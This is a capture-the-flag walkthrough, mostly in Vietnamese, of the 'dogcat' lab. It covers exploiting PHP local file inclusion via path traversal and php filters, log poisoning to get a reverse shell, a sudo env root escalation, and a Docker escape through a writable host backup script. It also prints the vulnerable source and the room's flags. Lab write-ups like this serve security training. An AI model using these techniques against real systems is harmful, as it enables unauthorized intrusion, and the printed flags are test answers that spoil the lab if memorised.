Icon

dogcat

I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

November 4, 2025 August 14, 2025 Medium
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ rustscan -a dogcat.thm -- -A

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeKBugyQF6HXEU3mbcoDHQrassdoNtJToZ9jaNj4Sj9MrWISOmr0qkxNx2sHPxz89dR0ilnjCyT3YgcI5rtcwGT9RtSwlxcol5KuDveQGO8iYDgC/tjYYC9kefS1ymnbm0I4foYZh9S+erXAaXMO2Iac6nYk8jtkS2hg+vAx+7+5i4fiaLovQSYLd1R2Mu0DLnUIP7jJ1645aqYMnXxp/bi30SpJCchHeMx7zsBJpAMfpY9SYyz4jcgCGhEygvZ0jWJ+qx76/kaujl4IMZXarWAqchYufg57Hqb7KJE216q4MUUSHou1TPhJjVqk92a9rMUU2VZHJhERfMxFHVwn3H
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBouHlbsFayrqWaldHlTkZkkyVCu3jXPO1lT3oWtx/6dINbYBv0MTdTAMgXKtg6M/CVQGfjQqFS2l2wwj/4rT0s=
|   256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfp73VYZTWg6dtrDGS/d5NoJjoc4q0Fi0Gsg3Dl+M3I
80/tcp open  http    syn-ack ttl 59 Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15

Nmap đưa cho ta hai service đang chạy đó là SSH và HTTP và hệ điều hành là Ubuntu. Ngoài ra cũng không có gì khác đặc biệt.

HTTP 80

image.png

image.png

Ảnh được lấy ra từ thư mục dogs, ta có thể kiểm tra thư mục này sau xem có list được file một cách công khai hay không.

Directory Enumeration

Ta sử dụng gobuster quét các thư mục và file ẩn trên web:

gobuster dir -u http://dogcat.thm/ -w /usr/share/wordlists/dirb/big.txt -t 128 -x php,txt

image.png

Chúng ta phát hiện một file flag.php, nhưng response size bằng 0. Điều này gợi ý rằng chúng ta nên tìm cách encode source code bằng base64, sau đó decode để đọc được.

/dogs, /cats/

Tiếp theo, chúng ta không có quyền liệt kê nội dung trong hai thư mục dogscats, vì vậy không thể duyệt thẳng vào đó để xem file.

image.png

/dog.php

Khi mở file dog.php, chúng ta thấy có một thẻ <img> giống hệt với thẻ trong index.php. Điều này cho thấy rất có thể index.php đang include file dog.php khi nhận tham số view=dog. Đây có thể là dấu hiệu của một lỗ hổng file inclusion.

image.png

image.png

Remote File Inclusion Testing

Đầu tiên, chúng ta thử kiểm tra Remote File Inclusion (RFI), nhưng thất bại vì allow_url_include=0 đã chặn không cho load include từ bên ngoài.

image.png

Local File Inclusion

Vì vậy, hướng khai thác hợp lý tiếp theo là thử Local File Inclusion (LFI) để đọc file trong hệ thống.

image.png

Phía back-end chỉ cho phép giá trị viewdogs hoặc cats, có nghĩa là tham số này bắt buộc phải chứa chuỗi dog hoặc cat. Tuy nhiên, chúng ta có thể đánh lừa bằng cách sử dụng kỹ thuật path traversal, ví dụ:

view=dogs/../flag

Trong source code, ứng dụng đã tự động append .php, nên chúng ta không cần chỉ rõ extension.

image.png

flag.php

Tiếp theo, chúng ta áp dụng php filter để encode nội dung source code của flag.php bằng base64, sau đó decode ra để đọc được nội dung gốc thay vì chạy nó.

image.png

┌──(hungnt㉿kali)-[~/Downloads]
└─$ echo PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo= | base64 -d
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
index.php

Khi quan sát cách index.php xử lý tham số, chúng ta thấy có thể thêm một tham số ext và set nó rỗng để ngăn việc append .php vào cuối. Từ đó ta có thể đọc nhiều file khác hơn file .php:

┌──(hungnt㉿kali)-[~/Downloads]
└─$ echo PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== | base64 -d
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

Từ LFI, chúng ta có thể leo lên mức RCE (Remote Code Execution) bằng kỹ thuật Log Poisoning.

image.png

Cụ thể, chúng ta chèn một đoạn PHP độc hại vào file log của Apache Web Server. Đoạn code này có nhiệm vụ tải payload reverse shell từ máy của chúng ta xuống target và lưu nó thành file shell.php.

image.png

Khi chúng ta include lại file log thông qua lỗ hổng LFI, đoạn code PHP trong file log được thực thi, payload được tải xuống và chạy.

image.png

Shell as www-data

Bằng cách khai thác LFI lần nữa, chúng ta thiết lập thành công reverse shell và truy cập vào hệ thống dưới quyền user www-data.

image.png

flag2*.txt

www-data@fb94566c5902:/var/www/html$ ls -la
ls -la
total 40
drwxrwxrwx 4 www-data www-data 4096 Aug 14 09:49 .
drwxr-xr-x 1 root     root     4096 Mar 10  2020 ..
-rw-r--r-- 1 www-data www-data   51 Mar  6  2020 cat.php
drwxr-xr-x 2 www-data www-data 4096 Aug 14 09:44 cats
-rw-r--r-- 1 www-data www-data   51 Mar  6  2020 dog.php
drwxr-xr-x 2 www-data www-data 4096 Aug 14 09:44 dogs
-rw-r--r-- 1 www-data www-data   56 Mar  6  2020 flag.php
-rw-r--r-- 1 www-data www-data  958 Mar 10  2020 index.php
-rw-r--r-- 1 www-data www-data 2592 Aug 14 10:18 shell.php
-rw-r--r-- 1 www-data www-data  725 Mar 10  2020 style.css
www-data@fb94566c5902:/var/www/html$ cd ..
cd ..
www-data@fb94566c5902:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x 1 root     root     4096 Mar 10  2020 .
drwxr-xr-x 1 root     root     4096 Feb 26  2020 ..
-rw-r--r-- 1 root     root       23 Mar 10  2020 flag2_QMW7JvaY2LvK.txt
drwxrwxrwx 4 www-data www-data 4096 Aug 14 09:49 html
www-data@fb94566c5902:/var/www$ cat flag2*
cat flag2*
THM{LF1_t0_RC3_aec3fb}

Sudo Permissions

www-data@fb94566c5902:/var/www$ sudo -l
sudo -l
Matching Defaults entries for www-data on fb94566c5902:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on fb94566c5902:
    (root) NOPASSWD: /usr/bin/env

User hiện tại có thể sudo chạy env với quyền root, ta có thể sử dụng nó để spawn một shell session dưới quyền root.

Shell as root (inside Docker container)

www-data@fb94566c5902:/var/www$ ls -la /usr/bin/env
ls -la /usr/bin/env
-rwsr-sr-x 1 root root 43680 Feb 28  2019 /usr/bin/env
www-data@fb94566c5902:/var/www$ sudo env /bin/sh
sudo env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

flag3.txt

cd /root
ls -la
total 20
drwx------ 1 root root 4096 Mar 10  2020 .
drwxr-xr-x 1 root root 4096 Aug 14 09:44 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-r-------- 1 root root   35 Mar 10  2020 flag3.txt
cat flag*
THM{D1ff3r3nt_3nv1ronments_874112}

Nhưng tìm mọi nơi ta không thấy flag cuối cùng flag4.txt ở đâu. Có thể flag không nằm trên môi trường hiện tại ta đang tương tác.

Shell as root (Docker Breakout)

Khi liệt kê thư mục gốc /, chúng ta thấy có file .dockerenv, điều này cho thấy môi trường hiện tại đang chạy trong một docker container.

image.png

Để xác nhận thêm, chúng ta chạy lệnh mount và phát hiện một số thư mục được mount từ /dev. Đây là bằng chứng rõ ràng rằng chúng ta thực sự đang ở trong container.

mount

image.png

Điều thú vị nhất là có thư mục /opt/backups được mount từ host. Khi kiểm tra, chúng ta thấy có file backup.tar. Sau khi giải nén và grep để tìm flag, chúng ta không tìm thấy flag 4 nào.

cd /opt/backups
ls -la
total 5768
drwxr-xr-x 3 root root    4096 Aug 14 10:26 .
drwxr-xr-x 1 root root    4096 Aug 14 09:44 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 5888000 Aug 14 11:19 backup.tar
tar xvf backup.tar
root/container/
...
root/container/src/dog.php
root/container/src/cat.php
grep -r "THM{" root
root/container/Dockerfile:RUN echo "THM{D1ff3r3nt_3nv1ronments_874112}" > /root/flag3.txt
root/container/Dockerfile:RUN echo "THM{LF1_t0_RC3_aec3fb}" > /var/www/flag2_QMW7JvaY2LvK.txt
root/container/backup/root/container/Dockerfile:RUN echo "THM{D1ff3r3nt_3nv1ronments_874112}" > /root/flag3.txt
root/container/backup/root/container/Dockerfile:RUN echo "THM{LF1_t0_RC3_aec3fb}" > /var/www/flag2_QMW7JvaY2LvK.txt
root/container/backup/root/container/src/flag.php:$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
root/container/src/flag.php:$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"

Vậy nên chúng ta cần nghĩ cách để thoát khỏi môi trường container bởi có thể flag nằm trên máy host.

Trong thư mục này cũng có file backup.sh.

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Nhiều khả năng trên máy host, file script này đang được chạy theo cron job với quyền root để tạo backup định kỳ. Quan trọng hơn, thư mục backup được mount từ host và chúng ta có quyền ghi vào đó.

image.png

Điều này có nghĩa là chúng ta hoàn toàn có thể chèn lệnh tùy ý vào file backup.sh. Khi cron job trên host chạy, các lệnh độc hại sẽ được thực thi với quyền của user nào đó trên host, từ đó cho phép chúng ta thoát khỏi container và chiếm quyền kiểm soát host.

flag4.txt

Ta sẽ chèn một reverse shell payload để khởi tạo một kết nối tới máy host bằng lệnh echo và redirect để append nó vào cuối file backup.sh:

image.png

root@dogcat:~# cat flag*
cat flag*
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}